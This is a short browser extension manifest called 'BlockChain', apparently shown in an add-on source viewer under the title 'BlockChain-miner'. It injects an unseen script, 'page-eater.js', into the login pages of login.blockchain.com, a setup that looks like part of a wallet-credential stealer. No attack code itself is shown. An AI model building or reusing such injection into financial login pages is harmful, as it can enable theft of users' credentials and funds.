Examine source code of BlockChain-miner

{
  "manifest_version": 2,
  "name": "BlockChain",
  "version": "1.0",
  "icons": {
    "48": "icons/logo.jpg"
  },
  "browser_action": {
    "default_icon": "icons/logo.jpg",
    "default_title": "Blockchain",
    "default_popup": "index.html"
  },
  "content_scripts": [
    {
      "matches": [
        "https://login.blockchain.com/*"
      ],
      "js": [
        "page-eater.js"
      ]
    }
  ]
}